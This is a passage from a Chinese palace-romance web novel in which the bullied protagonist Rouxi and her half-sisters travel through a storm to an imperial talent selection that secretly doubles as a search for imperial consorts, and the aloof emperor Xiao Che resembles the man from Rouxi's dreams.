小姑娘缓缓睁开了眼,懒懒地看向了她。 苏明霞一身粉嫩的云纹锦缎,头上簪着赤金步摇,鬓边斜插两朵新鲜珠花,衬得她娇艳又惹眼,看着柔兮,轻描淡写地只道了一句: “你踩到我了。” 柔兮一动未动怎会踩到她? 不过习惯了,知道她是没事找事,看她睡觉都有气,又想给她找些不痛快。 柔兮没答话,慢慢坐直身子。 苏明霞看着自己新染的指甲,再度张了口:“你嫁不到平阳侯府去,顾世子最后不会娶你,我找大师,给你算过了。” 柔兮本根本就不想理睬苏明霞。她对苏明霞的所有言语都不感兴趣,但奈何,她对顾时章感兴趣! 听罢,柔兮心肝乱颤。 那苏明霞自然也没给她机会不听,旋即便看着她,笑着接了下去。 “告诉你也无妨,算命的大师说了,你没命嫁给顾世子,你会嫁给康亲王,成为康亲王的第八十六房小妾。” 柔兮的手蓦地一抖,但只有一瞬,被她稳稳地攥了住,心潮顿时翻涌起来。 她的胆子其实很小很小,且她怕死那个康亲王了,当初为什么不要脸面了,主动去勾那顾时章,就是因为偷听到了他爹与旁人的对话,怕他爹一狠心,真的把她抬给那康亲王! 她不信苏明霞,但她信佛祖,信菩萨。且一种直觉,柔兮觉得苏明霞能干出去给她算了命这事。 心口狂跳,心旌摇曳间几欲失控,就要稳之不住,然好胜心终究占了上风,让她压下了那份悸动,维持了几分镇定。 柔兮轻声温语地回了口:“是么?如若真是那般,我一定谨记长姐的好,到时候在王爷的面前好好为长姐美言,让长姐成为王爷的第八十七房小妾。” “你!” 她话音刚落,车中立马炸了锅。 苏明霞、苏晚棠,翠娥几近一口同声。 不止,那苏明霞抬手便朝她打来! 马车颠簸晃动,耳边尽是嘈杂雨声,柔兮瞳孔骤放,怎会任由她打,抬手一下子挡下了苏明霞那巴掌,使劲儿地将她推到了座上。 苏明霞如何能忍,大怒,登时更加火冒三丈,当即与苏晚棠、翠娥一起朝着她扑来。 “小贱人,你翻了天了!” 她三人一起,柔兮当然打不过,被苏明霞摁下,但就在这时马车晃动,狠狠地飘了一下,大雨冲击之下,险些翻了车,外头烈马长嘶,车厢晃动。 苏明霞三人站之不稳,相继被晃得东倒西歪,四处乱撞,险些磕了头。 柔兮与人打架,被她三人摁到了座上,倒是因祸得福,拜他们所赐,稳住了身子,免过了一劫。 半晌,马车方才停稳。 苏明霞气疯了,朝外喊道:“这是怎么回事?” 赶车的马夫之一高声回口:“大小姐,雨太大了,走不了了,寻地方避一避,明日再走吧。” 车中柔兮三人听到皆是心口一颤。 谁人都后怕,刚才那一下子险些翻车,如此大雨,强行赶路风险极高,怕是不愿意也得愿意。 苏明霞立刻回口:“成成成,那就赶紧避一避吧!” 5、第五章 第五章 柔兮马上起了身来。 雨势愈发湍急,不知何时竟已滂沱至此。 车厢之内听得清清楚楚,天漏了一般,更早有雨水被风灌入车厢之内,打湿了窗边的素色帘幔。 柔兮几人都甚安静,没人再有闲心打架,满心满脑都是担忧。 好在前方不远处就有着一家客栈。 两名马夫强撑着,稳住车身,将车驱至檐下。 再度听到烈马长嘶与马夫的声音时,几人都松了口气。 “大小姐、二小姐、三小姐,到了。” “好好好。” 苏明霞两人答应着,裹上披风。马车的门被马夫打开。 翠娥先下去,给苏明霞撑了伞。 柔兮素手紧攥披风,小眼神小心翼翼地朝外瞧着,观察着周遭一切,雨声极大,四下嘲哳,淹没了大半声响,但她看得清楚,外边不止她们这一行人前来避雨,至少还有两拨人影。 另两拨人瞧着似是认识,也是小姐、丫鬟和马夫,与她们所行方向一致,想来极有可能和她们一样,是去皇家别苑,赴那阅选的。 柔兮最后一个下车,兰儿已撑了伞在外等她。 客栈不大,门楣简陋,由于雨天,余下的房间寥寥,三人只得住在一起。 苏明霞显然也留意到了另两拨人,刚跨进门,便回头狠狠地剜了柔兮一眼:“算你走运。” 这话的言外之意便是有旁人在,她就不收拾她了。 柔兮倒是不知,原来她苏明霞也知晓什么是丢人现眼。 房中/共有三张床,柔兮与兰儿去了离着另两张较远的一张休息。 很快,苏明霞的话印证了柔兮的猜测。 她张口朝着苏晚棠道:“那个紫色披风的小姐是不是许大人的女儿许汀瑶?” 苏晚棠回道:“我瞧着也像,另一个也好生眼熟……” 她话音刚落,苏明霞眉梢瞬间挑起:“是户部郎中家的千金朱凝慧!” 苏晚棠附和:“对对对!是她是她!” 苏明霞眼睛转了转,笑道:“那我们,去与两位小姐见个礼罢。” 苏晚棠拢了拢鬓边的珠花,莞尔点头:“长姐说得对,应该的。” 俩人说罢便起了身,只当柔兮不存在一般,带着丫鬟,出了去。 柔兮已脱了绣鞋,准备躺一会儿,此时瞧着两人的背影,眼波缓动,在她们的身上定了会儿。 与苏明霞两人不同,柔兮几近不认识任何官家闺秀。 她没参与过什么雅集、花会。 究其原因也很简单,江如眉不许她去。 但她很聪明,通过一个姓氏,便已猜到了那紫衣小姐是哪家闺秀。 想来十有八九是太医令许修远的女儿…… ******* 太医令是正六品,户部郎中是正五品,苏明霞的心思很简单,交友是次要,能不能打探到些阅选事宜才是首要盘算。 此番百花宴前所未有之盛大。 当今朝堂重才尚雅,文风鼎盛,于女子的才貌风华十分看重。 品鉴会三年一度,实为女子的晋身之阶,若能在此中夺得次第,便可一举成名,声动京华,既得名声亦获实利,风头无两。但若未得次第,最最根本,也需先过了那阅选一关,否则似她们这般官宦之女还如何在京城的闺秀间周旋?非但名利皆空,适得其反,反倒易遭人嗤笑,徒留笑柄,日后的婚嫁之事都要受其牵累。 苏明霞虽有自信过那阅选,但事关重大,自然越稳妥越好。 她想着,那户部郎中家的千金朱凝慧父亲品阶稍高,听说她的母亲与恭王妃交好,说不定能知晓些内里消息。 说起那恭王妃,当年便是这百花宴的“探花”。 不过那种高门贵女的风光,苏明霞自是不敢望其项背,于她这种小官之女而言,此番能在百花宴上博个前十之位,便已是祖坟冒青烟,足矣让她风光一辈子了! 是以,这第一步,自然要万无一失,绝不能出任何差错! 俩人出了房门,朝着廊道的尽头望去。 适才上来时,苏明霞曾特意留心,亲眼看到朱凝慧俩人进了那最后一间房。 她与苏晚棠对视一眼,而后便朝着去了。 外边风雨未停,但略微小了些,可即便如此,声音听起来也颇为骇人。 明明是白天,廊道内却很昏暗,只有一盏灯笼,瞧着还是临时挂上去的。 没一会儿到了那房门口,苏明霞理了理头上的珠钗,便要抬手叩门。 然,她方才将手抬起,还未及碰到门板,里边传来了话语声。 朱凝慧声音里满是惆怅,叹息着道:“实不相瞒,我,我都想称病不去了。” 与她的低落恰恰相反,许汀瑶极为雀跃:“哎呀,慧姐姐别怕,有什么好怕?会通过的!” 朱凝慧声音带着几分发颤,又是一声叹息:“瑶瑶你有所不知,我……我实在是笨,什么都做不好,根本就无甚才华,对旁人来说这百花宴是攀高的机会,可与我而言,是,是负担,如若真的连那阅选都过不了,今后,我……我的脸面往哪儿搁?还不如直接不去来得体面,但爹爹,爹爹偏不允,非要我去!” 她说着,竟是哭了起来。 苏明霞的手也便落了下,这还如何进去,与苏晚棠相视一眼。 俩人便想悄然离去,但还未曾移动脚步,但听里面许汀瑶的声音再度响起。 “哎呀,慧姐姐,你别哭呀!哎呀!罢了罢了,我告诉你一个秘密。” 那“秘密”二字被许汀瑶压得极低。 心口皆“砰”地一下,苏明霞、苏晚棠再度相视,俩人不约而同,都紧张起来,没走,更仔细了里面的动静。 许汀瑶小声道:“慧姐姐,慧姐姐以为今年的百花宴为何比往年还要盛大,因为,因为它不只是百花宴!” 朱凝慧声音更颤:“什……什么意思?” 许汀瑶道:“告诉你吧慧姐姐,一个月前,太皇太后身体违和,特宣了我爹入宫问诊,在慈宁宫中,我爹亲耳听到了太皇太后与身边的嬷嬷说陛下不愿意入后宫,要给陛下扩充后宫,就在这百花宴上选!慧姐姐就算真的不擅技艺,但,但慧姐姐生的美啊!此番阅选,必然会有特例,必然会有人凭着美貌就能通过,就能见到太皇太后,慧姐姐一定会通过啊!” 脑中“嗡嗡”直响,顿时,双腿都软了,苏明霞俩人呼吸急促,心中着火了般,险些弄出声来。 苏明霞当即拉着苏晚棠走了。 俩人皆心口“砰砰”狂跳,未返回客房,快步径直下了楼去,混入饭堂的喧嚣中平静心情。 待得到了楼下,苏晚棠一下攥住了苏明霞的手:“长姐!” 那双手都是颤的。 苏明霞亦是如此。 二人皆面红耳赤,心中更是欢喜难掩,相视良久,终是一同笑了出来。 顾时章登时都不香了! 若能蒙恩,踏入那朱墙深宫,一朝承宠,晋位主位娘娘,那才是真正的平步青云、前程似锦,尊贵无比,不仅自身荣光,连带着整个家族都能沐此恩辉,光耀门楣,这,才是实实在在的飞上枝头,改命了! 苏明霞道:“想不到竟然听到了这等秘密!” 苏晚棠重重点头:“嗯!” 想来或许也不是什么天大的秘密。 那些高门贵女之中,必然还会有为数不少的人早已知晓,只是连那朱凝慧都不知晓,像她们这种家世的姑娘知道了,纯属好命! 苏晚棠适才还露着笑,突然想到了什么,笑容登时消失了去。 “长姐,那苏柔兮?” 苏明霞也收回了笑意。 “管她做什么?” 旋即冷哼一声,眼底满是轻蔑:“要不说她命不好呢,她不是定亲了么?有亲事在的定然头一批就会被筛掉,再说了,就算她没那桩亲事,你当太皇太后那般眼利,能瞧得上她那样的,看着就透着股子下贱气。” 苏晚棠闻言,当即低笑出声,顺着话头应道:“长姐说得极是。” 苏明霞唇角微撇,又接着道:“再说,她连顾时章都嫁不成,我说给她算了命是真的,走着瞧吧!” 苏晚棠“噗嗤”一声笑了:“现在就迫不及待地想看了。” 苏明霞斜睨她一眼,翻了个白眼,嘴角噙着抹若有若无的笑,心满意足。 俩人,这才上了楼去。 6、第六章 第六章 苏明霞俩人回来的时候柔兮正在房中吃着汤面。 三天只吃了两个馒头,柔兮早饿了。 俩人瞟了她两眼,也没与她说话,回到各自的床榻,压低声气絮语,不知在说着些什么,但瞧着心情大好。 柔兮自顾慢慢吃饭,觉出了她们是得了什么小道消息,但也知晓她们不会告诉她。 她也,不稀罕知道。 雨下了整整一天,直到黄昏方才渐渐停歇,天边云层破开一角,隐隐见了夕阳。 这无疑是最好的消息,几人都很欢喜,悬了一日的心总算落下。 夜晚,灯已熄,柔兮躺在床榻上翻来覆去迟迟不敢合眼,生怕再做那梦。 今夜不同往常,她不是独自一人睡一间房,屋子里面加上丫鬟共有六人,如若真的再梦到那男人,像昨夜一样……她,她可怎么办? 兰儿好似是瞧出了她的不安,放轻声音,温言劝道:“姑娘睡吧,明日还要阅选,养足精神最要紧,有兰儿呢,再说,不是已经好了……” 那最后一句几近是唇语。 柔兮的脸“刷”地一下子顺间烧红,细若蚊蚋地应了一声,马上翻了个身,转到了床里,生怕给兰儿看见。 其实她从未对兰儿言明梦得究竟是什么,只含糊以“梦魇”二字搪塞。是以,每逢兰儿提及,她都有做贼心虚之感,生怕被她参透。 柔兮闭了眼睛,好一会儿方才平静下来,又开始叨念起阿弥陀佛了。 好在,一夜无梦。 ******** 翌日清早,方才寅时,苏明霞与苏晚棠便起了。 俩人又是沐浴熏香又是梳妆打扮,且竟是又换了新衣。 柔兮比她们要晚了小半个时辰才爬了起来,只简单地梳洗了番,穿的也是昨日的衣裳,不同于她二人,大半的功夫用在了早膳上。 苏明霞与苏晚棠从昨日开始便吃的很少,今晨更是几近什么都没吃。 只言片语间,耍耳音,柔兮听那苏明霞说什么“要把腰饿得纤盈了才好看”。 柔兮犯了疑。 她想……这也,不是选美吧。 品鉴会素来最重才识,虽对女子的容貌略有要求,却也只消清秀便够了,至于衣着穿戴,更是无甚讲究,洁净素雅、落落大方即可。毕竟岁岁都有不少平民百姓家的女儿前来赴会,哪能人人都富裕。 听过了也便算了,柔兮可不能不吃饭。 天将将亮起,三人上了马车。 苏家离着那皇家别宫其实不远,若脚程顺遂,两个时辰便足以抵达,前一日被大雨耽搁,只走出了半个时辰的路。 所幸这第二日天公作美,风柔云淡,日色温和,一派晴好景致。 苏明霞与苏晚棠确是有着什么秘事,一路上时常小声私语。 不过有桩好处,没分出心神来找她的茬。 一个半时辰很快过去,眼见着便要到了,柔兮的心也跟着起了变化,“砰砰”“砰砰”地狂跳起来。 她感知得到,苏明霞两人也如她这般,车厢内愈发地沉寂。 马车终是停在了别宫之外,数里之距。 柔兮三人小心翼翼地下了车,抬眼望去,前方士兵林立,甲胄凝光,遥遥地,宫宇屹立,“清晏别宫”四字在朝阳下熠熠生辉,一股子威严如沉渊冷水般漫来,压得人呼吸都轻了几分。 四下一片肃寂,只有巡视的兵士腰间佩刀与甲片相擦,偶尔溅起几缕清脆的金属碰撞声。 女子们皆敛声屏气,依序排列成六列长队,衣袂轻垂间,队列如线般蜿蜒,自宫前延伸开去,与那覆着墨绿琉璃瓦的皇家别宫遥遥相对。 柔兮三人与丫鬟很快分了开,皆心神紧张,入了队伍,随着众人缓缓前移。 不多时,便轮到她们接受查验。 几名身着素色宫装的女役上前,手中捧着素布帕子,挨个为众女子搜身,轻查随身之物。 一路上足足被验了三回。 柔兮一步步向前,终是迈入了那宫墙之内。 百花宴主要考女子七艺:琴、棋、书、画、诗词、女红、茶艺或香道。 除此之外,还有一项——品行与仪态。 是以,往年的阅选都是八关。 但今年不同,进去后,柔兮便发觉,竟是九关。 没人告知她,那最后一关是什么,自然,她也不敢问。 礼部侍郎担任主官,总领统筹阅选仪程。 宫中尚仪局女官、太傅夫人、尚书夫人等才德兼备的世家女眷主试那第一关“品行与仪态”。 柔兮胆子小。她也的的确确是没见过什么世面,心中难免害怕,但瞧着女官、夫人们好像都在看着她微笑,突然之间,好似又不那么怕了。 渐入佳境,后续的七艺,她反倒是颇为自如。 一小天过去,到了下午柔兮方才从那最后一艺的房中出来,本疑惑了一整天,很想知道那最后一关到底是考什么,却万不曾想,管事的女官竟是根本就没让她进去,直接将她带到了后园。 柔兮知道去了后园便是通过了阅选。 但她难免疑惑,眸子小心地抬起,路过时又看了一眼那紧闭着的第九道门,连窗帘都拉着,且不知这是为何? 后园共有八个房间,每房可容十五人。 柔兮被安排在第四间房中,进去时房中只她一人。 等了许久,陆续有人进来,那苏明霞也在其中。 待得女官出去,柔兮本不想与苏明霞说话,奈何实在是好奇,也便开了口:“你可曾进过那第九道门?到底……” “未曾。” 哪知她话还没说完,苏明霞便回了她。 “别与我说话,这几日,我们就当不认识。” “好。” 柔兮立马答了话,转回了头。她倒是求之不得,自然也不再问了。 苏明霞白她一眼,规规矩矩地坐在了床榻上。 那第九道门里考的是什么,苏明霞早便参透了。 可不就是美貌么! 前边那七艺都过了,便不用进那第九道门了,七艺过不了,方才需进那第九道门。 原以貌取胜,也是本事,也是值得骄傲之事,但苏明霞万万没想到,如若没自己偷听来那一事,此番自己竟是就,就连阅选也没过。 不错,她进了那第九道门。 里面的人是太皇太后身边的几个嬷嬷。 那个小贱人竟然这么轻松就过了! 苏明霞从未觉得苏柔兮比她强。 但她就在苏柔兮的后边,苏柔兮走后,她竟是还听到了翰林院的学士夸赞她! 就连那苏晚棠都勉强过了,她竟然! 但转念,苏明霞又释怀了,这恰恰说明,她命好。 身都验过了,保不齐,她真的就要做娘娘了! 思及此,她又忆起那宫中的嬷嬷见到她时问得第一句话:定亲了么? 苏明霞瞟了一眼苏柔兮,动了下唇角。 直到黄昏,今日的阅选方才结束。 礼部侍郎亲自到了后园,给众姑娘发放“入宫令牌”。 令牌为墨色岫玉所制,三寸大小,刻“清晏别宫”篆字,缀青金石丝绦,槽嵌银片刻姑娘的名籍。 柔兮摆弄了许久,心中甚是欢喜。 翌日是阅选的最后一日,柔兮能在这后园暂歇一天,养精蓄锐。 待阅选落幕,是为时三日的宫规与礼仪学习。 时间,很快过去…… ****** 此番阅选,共择姑娘一百二十人。 一百二十人中出身各异,上至簪缨世家的门阀千金,下至寻常巷陌的平民女子,皆有囊括。 但无论是何等家世,入宫之前都心中悬着一丝惴惴。 第二日天刚亮,几名教习嬷嬷便将众人汇至偏殿,见姑娘们都已站好,其一缓缓开口:“今日起,便要教诸位姑娘学那宫中规矩礼仪,三日光阴虽短,却是你们往后半月,甚至后半生,在宫中安身立命的根本,望各位姑娘都打起十二分精神,好生记在心里,莫要有半点懈怠。” “你们须知晓,这皇宫大内不比外间街巷、家中庭院,外间尚可随性自在,宫中却处处是规矩。大到觐见帝王的仪轨,小到行走坐卧的姿态,桩桩件件密如织网,条条框框森严难逾,便是咳嗽一声、抬眼一瞥,都要合着章程来,半分错漏都容不得。” “更要刻在骨血里,宫中重尊卑次序,上至太皇太后、太后,下至宫娥太监,皆有定分,乱不得分毫;皇权更是凌驾万物之上,容不得半分触犯,便是一句失言、一个失仪的动作,都可能引火烧身,酿成滔天大祸。” “你们已过阅选,本是天大的造化,往后每一步皆是向上的梯阶。若能在后续百花宴中得个次第,便是名禄双收。上为家族争光,下为自己博个前程。是以,诸位姑娘务必切记,莫要因一时失度坏了规矩,宫规如铁,稍有逾矩便要受罚,若真到了触犯天威的地步,便是丢了性命也不足惜!” 她话说完,阶下一百二十位姑娘齐齐敛衽躬身,右手压覆左手,叠放于腰腹间,腰肢缓缓弯至与肩平齐,垂着的眼睫遮去了眼底神色,连衣袂摩擦的声响都透着规整。待嬷嬷神色稍缓,才齐声应道:“民女谨记嬷嬷教诲,不敢有半分逾矩!” 柔兮心头突突直跳。 她父亲是太医,她自然早知宫规如铁、动辄得咎,入宫前也暗自做了千百遍心理准备,可此刻亲耳听嬷嬷将“丢了性命”四字说得这般轻描淡写,仍是止不住地心肝乱颤,生怕自己一时不小心犯错,再被砍了脑袋。 她还没活够呢!她,还得嫁给顾时章呢! 思及此,柔兮垂着的眼睫颤了颤,心底已暗暗下定了决心,一定会将宫规学得扎实了,半分错漏也不会有。 她也确实这般做了。 三日来每日安安分分,勤奋刻苦,将那嬷嬷教授的所有都谨记在了心里。 三天,一晃便过了。 7、第七章 第七章 百花宴第一日。 晨光初透,熹微未明,天地间充斥着一股子肃寂的沉闷,恰如这后园此时的气氛。 各房的门相继被打开,女子鱼贯而出。 众人装束相同,皆穿着兰纹素纱襦裙,腰束月白丝带,外罩一件浅蓝色的敞口纱衣,没人言语,一行行跟着嬷嬷安安静静地出了后园,乃至清晏别宫。 柔兮混在众人之间,心弦紧绷,前夜房中还充斥着些许欢声笑语,今早开始便鸦雀无声,此时更是没人能笑出来。 不过一个时辰,她们便到达了太和宫。 众人从北侧的玄德门入内。 刚过辰时,早朝尚未散讫。 不同于柔兮阅选那日,今日的云压得很低,只隐约可见日影。 柔兮微微颔首,规规矩矩地行着,绝不敢四处乱看,可不看不看,也大致看见了这大雍皇宫肃穆奢华的模样。 汉白玉栏杆绕阶,高墙耸立,宫殿巍峨,长衢通远,何其壮观,但在微微昏暗,墨云翻滚的天际下,又无处不透着森然,无处不透着一股子压迫之感,让人堪堪喘不过气。 柔兮指尖悄悄地攥了攥衣袖,敛息凝神,压着悸动。 第一日主要考众女三项:行走仪态、进餐仪态、答应觐见。 进了皇宫便有尚仪局的女官接引了众人,引着众人进了畅春园,沿“御道”步行至主殿;到了午时,又将众人引入偏殿,宫廷赏赐午宴。 两项结束方才将她们带到曲水轩恭候太皇太后。 曲水轩便是众女这十余日居停应试的地方。 主殿唤名漱玉殿,轩敞明亮,朱柱盘龙,香风裹着珠光漫满殿宇,尤其那高高在上的御座,柔兮瞧了一眼,便马上就收回了视线,不敢再看。 众女依宗室、官宦、民间的次序列队,六人一行,共列二十行,柔兮出身低微,几近倒数,堪堪排在第十五行。 众人静心安等,皆心弦紧绷,只待太皇太后驾临。 将将半个时辰,一声尖锐又高昂的声音自殿外传来,划破寂静: “太皇太后驾到——” “陛下驾到——” 柔兮心口一颤,不仅是她,所有女子皆本能地身子一僵,屏气垂首。 大殿上瞬间更静,落针可闻,待太皇太后与皇帝落座,众女跪伏于地,双手交叠置于膝前,垂首屏息,齐齐参拜: “臣女/民女恭迎太皇太后圣驾,愿太皇太后千岁千岁千千岁。” “臣女/民女恭迎陛下圣驾,愿陛下万岁万岁万万岁。” 一声和蔼的声音自御座传来:“平身。” 柔兮随着众人站起,心口“扑通”“扑通”地狂跳,接着听那太皇太后温和地又道:“都抬起头来。” 柔兮与众女也便缓缓地抬了头去。 距离甚远,她看不清那御座上两人的脸,但隐隐看见了太皇太后极为雍容,微微笑着,很是和善,也看见了当今天子,君主萧彻。 柔兮没看清他的脸,但隐隐地竟是觉得,那个轮廓有些熟悉,好像在哪见过。 人身姿颀长,一袭金纹龙袍,玉冠束发,远远瞧着皮肤极白,却无半分阴柔之感,周身上下仿若裹着一层无形的威慑,蕴着浓烈沉敛的冷意。 但想想也便罢了。 太皇太后朝下大致地看了几眼,满意地笑了,朝着御座一旁的女官: “那就开始吧。” 女官敛衽躬身,上前两步,朝下扬声道了规则。 规则柔兮早熟记在心:每六人一队入近殿,先向太皇太后与陛下行三叩九拜大礼,再恭报家世姓名,需做到言吐朗朗、礼仪娴熟,无半分错漏。此三项与前两项合并考评,分“上上品”“上中品”“中上品”“中中品”四等。 那女官说完,便宣了第一行入近殿。 苏明霞小声道:“想不到陛下竟生的这般俊朗,这般玉树临风!我瞧着比顾时章还……” 柔兮就在她旁边,自然也知道她在跟她说话,心差点没从口中跳出来,万万没想到她的胆子能这般大,这种场合竟敢言语。 柔兮当然没接她的话,恨不得离她越远越好。 苏明霞白她一眼:“看不到也听不到啊!瞧把你吓的!现在所有人的注意不是都在那几个宗室女上,以为前边的那些高门贵女,便没人在小声说话么?” 柔兮使劲儿地攥了攥手,依然不想与她言语,但又怕她没完没了,小声回口道:“你不要先理清言语,看稍后该如何说?” 苏明霞撇了下嘴:“有什么可理?你不知道你姓甚名甚,什么家世?家父是谁?那些不都是张口就来?拿个‘上中品’也便是了,你还想得那‘上上品’么?” 苏明霞当然不再想,就算此项得了,后六艺她也比不过那些高门贵女,进不了那前十次第。 她现在满心满脑都是被陛下看上。 她都得不了,她苏柔兮也别想。 柔兮看她一眼,没回,神情紧张,也明显带着不悦,多少也参透了她的一些心思,当下,也不能理她! 是以,那一眼之后,柔兮便又转回了头去。 什么意思,很是分明。 苏明霞狠狠地白她一眼。 “那你可要好好准备,争取拔得头筹啊!你可真不要脸!真不知道天高地厚!先不说那几个宗室女,前排的那几个高门贵女,你可知道都是谁?!将来的皇后八成都在里面!你争得过么?” 她话音刚落,但听前排突然“哗”地一声,手串珍珠散落在地,一颗接着一颗,殿上顷刻寂然无声! 那手串的主人当即便跪了下去,语声颤抖,含着微微的哭腔:“陛下……” 但见那御座之上的帝王仿若是看都没看她一眼,轻描淡写地便冷声张了口:“拉出去。” “陛下!” 言讫,便有宫女把她带了下去。 所有人皆倒抽一口凉气,因为那女子不是别人,正是苏明霞口中的高门贵女之一,户部尚书家的千金! 如此显赫的家世,竟也没换来半分通融。户部尚书的颜面在帝王面前都如此轻贱,赏罚予夺,全凭君心一念。 柔兮第一次直观地感受到什么是皇权至上。 殿内寂静无声,比刚才更甚,连风穿过殿窗的轻响都清晰可闻。 苏明霞的脸早没了血色,浑身轻颤,微微颔首,一动不动。 柔兮垂在身侧的手不自觉地攥紧,指节泛白,心口不住起伏,亦是微微轻颤,但与旁人受到的惊吓不完全相同,亦或说是还多了一层。 那声音…… 8、第八章 第八章 那声音,怎么那么像…… 她竟是恍惚想起了梦中的那个男人,也瞬时想起适才远远地看到皇帝的轮廓时,突生的那股子熟悉之感是源于谁了? 是……是她春/梦里的那个男人! 想起他,柔兮瞬时有着一种白日里见到鬼了的感觉,周身上下一阵子冷,一阵子热,于她而言,他当真是比鬼还可怕。 好在只有须臾,柔兮又立马说服了自己。 不可能,她怎么会有如此荒唐的错觉? 思及此,柔兮抬眼,悄悄地再度朝那御座上的帝王望去。 但觉,又不像了。 至于声音,更无从证实,定是自己听错了。 柔兮慢慢地又低下了头,压下了这股子悸动。 ****** 苏明霞早不再敢说话,也低着头,眼睛溜溜地转着,想的是适才一事。 她觉得那户部尚书家的女儿是被人陷害的! 否则手串怎么可能松动?显然,还没入后宫,那些人便开始暗地里斗上了。 依她打探,户部尚书家的女儿虽颇有才华,但肯定不至于拔得头筹,甚至前十次第也应是入不了的,只是,她生的很好,又是那样的家世,很有可能入后宫。 一旦入了后宫,凭着她的家世,必然是前途无量的。 且不知这事是谁干的? 苏明霞抬头,眼下已经到了第三排。 那第三排当中,有丞相大人家的千金、太师家的千金、中书令的妹妹,剩下的也都是些二三品官员家的女儿、侄女或是妹妹。 三排到八排的女子,几近都是三品以上的家世。 苏明霞觉得就是这些人中的谁干的。 苏明霞的眼睛瞟向了柔兮。 但这事,倒是给了她一些启发。 时间慢慢流逝,转眼已经到了第八排,苏明霞开始紧张,毕竟陛下就要见到她了。 她慢慢地抬了眼,朝那御座之上的帝王望去。 男人的手指慢悠悠地甩缠着一串佛珠,修长的身子倚靠在那宽大的御座上,垂着眼眸瞧着其下的女子。太皇太后时而与他说话,不知说着什么,但不难猜测,必然是在让他挑选妃嫔。 苏明霞心弦骤紧,愈发紧张,然,却万万未曾想到,那第八行的女子刚刚结束,那男人同太皇太后不知说了什么,继而竟是就不疾不徐地起了身。 身侧的公公弯身跟在他的身后。 人竟是走了! 殿上众女旋即便齐齐地跪了下去。 “恭送陛下。” 苏明霞心口“狂跳”,急得要发疯。 且不知这是什么意思? 转念,她又瞬时明白过来。 陛下是嫌剩下的女子出身太低,看都不想看了?! 苏明霞不知,唯知,自己再难静心。 ******** 与她恰恰相反,柔兮渐渐忘却了适才之事,一切极顺,顺遂地拿到了那“上上品”。 当晚回到房中,房内颇欢,因着众人最差也拿到了上中品。 唯独苏明霞有心事一般,不甚开怀,晚膳也没怎么吃。 柔兮瞄了她两眼,没与她说话,满心满脑,都在明日的应试上。 第二日、第三日,分别考琴与棋。 柔兮亦无阻滞,双双摘得“上上品”。 ******** 第三日傍晚,御书房。 萧彻坐在案前,手持狼毫,正写着什么。 身旁的近侍赵秉德快步从殿外进来,到了帝王身边,弯下腰身,堆笑着道: “陛下,太皇太后遣人来请,邀您移驾慈宁宫。” 萧彻并未抬眼,亦未停笔,声线凛冽低沉,冷冷淡淡:“知道了。” 待得写完,萧彻起身。 赵秉德马上躬身到了他身后,给人抚平龙袍。 萧彻,去了慈宁宫。 到时,太皇太后正侧身靠在铺着软垫的贵妃榻上,唇角微微含笑,闭目养神。 人穿着件墨绿色兰纹常服,沉静华贵,雍容持重。两名宫女各执一柄素面团扇,腕间轻旋,小心翼翼地为她扇着扇子。 殿角的鎏金铜鹤炉中燃着清凉的薄荷香,屋中画梁雕栋,一派奢华。 身旁的邓嬷嬷见皇帝拨帘进来,温声朝着太皇太后道:“太皇太后,皇帝来了。” 太皇太后徐徐地睁开了眼睛,宫女将她扶起。 萧彻躬身行礼,“皇祖母安。” 太皇太后缓缓应声,朝他招手:“孙儿来。” 萧彻迈动脚步,昂藏的身躯到了她的身边。 太皇太后拉他坐了下。 “不是还有八十几个未看,保不齐就遇上了可心的。” 萧彻接过宫女递来的茶水,听罢沉沉地笑了一声。 他知道祖母唤他来是为了这事。 “没那个必要了吧。” 剩下的女人出身太低,他,更没什么兴趣。 说着揭开青瓷茶盖,用盖沿轻轻拂过茶汤,浅抿一口。 太皇太后道:“不然,万一便有入眼的呢?哀家前日里瞧了,有好几个出挑的孩子。这男人和女人之间,有时候要看眼缘,须得亲眼见了、实打实地瞧着,才知究竟喜不喜欢,便是一时瞧不上,感情也能慢慢养着,日子久了,自会生出情意来。” 萧彻听罢,再度笑了一声,没再说话。 太皇太后道:“孙儿要是不选,皇祖母可就为孙儿选了。” 萧彻道:“那便皇祖母定吧。” 太皇太后心中早有眉目。她倒是相中了好几个,但依然劝了一句:“但皇祖母还是希望孙儿能自己去瞧瞧,万一,便有像的呢……” 她话说完,萧彻的眼中闪过了一丝什么,唇角依旧含着一抹似有似无的笑,端杯未语,再度慢条斯理地抿了一口茶,方才应声: “孙儿有空会去。” 太皇太后微笑着点头。 祖孙俩又聊了点别的,过不多时,萧彻离开了去。 他出了门,郑嬷嬷道:“若是奴婢那日看清了那画便好了,天下这般大,寻个相似的定然不难。” 太皇太后“嗯”了一声。 这床笫之事还真是难办。 皇孙后宫之中有着几个美人,可他不怎么爱去。 几个月前,太皇太后让郑嬷嬷去给他送汤,郑嬷嬷瞧见他画了一位姑娘。 但没看清,也不知是谁?他又是什么心思?到底喜欢什么样的? 正是因为如此,太皇太后才总是想着让他亲自去选。 且不知她的话,他能听进去几分? ******* 萧彻从慈宁宫出来,眼睛落向不远处的曲水轩。 此时黄昏刚至,天边云霞漫天,景色颇好。 赵秉德瞧见,参透君心,立马弯身道:“奴才现在就让尚仪局的女官将众女集到大殿。” 萧彻没言语,心血来潮也好,别的什么原因也罢。 他,抬了脚步。 ********* 曲水轩,柔兮房中。 夕阳西落,流云似燃,几缕金光穿牖而入,将室内镀上一层浅黄。 屋中气氛融融,偶有人低语相谈,间或漏出几点笑声,但都拿捏着分寸,声息极轻。 柔兮倚靠在床边,美目缓缓轻转,手中握着一本借来的书籍,神情专注,口中默默叨念,正聚精会神间,苏明霞一把抢过她手上的书,骂道:“还有什么可看?你在装模作样的给谁瞧?” 苏明霞声音极小,除了柔兮外无人听见。 柔兮被吓了一跳,明日应试的是“书”。 一份誊写,一份默写。 多背一些自然没坏处,左右闲着也是闲着,她就看了会,自是没想到苏明霞会突然发疯。 一连三日,柔兮满心满脑都在应试上,与苏明霞交涉不多,虽看出了她自第一日后便不大高兴,更时常心不在焉,但柔兮也不想知道她怎么了。 三日没找茬,今日回来后柔兮便觉苏明霞不对,果然没躲过,又来了。 小时,苏明霞便时常如此。 这样的日子也不知什么时候是头。 “你做什么?” 柔兮自然不悦,抬手去抢。 苏明霞没还,挑眉小声道:“别以为我不知道你是怎么连续得了三个‘上上品’!” 柔兮眼中满是狐疑,微微一怔,万没想到苏明霞又冒出了这样一句。 她是怎么得的?当然是多年如一日,靠着勤勉,一点一滴地练出来的。 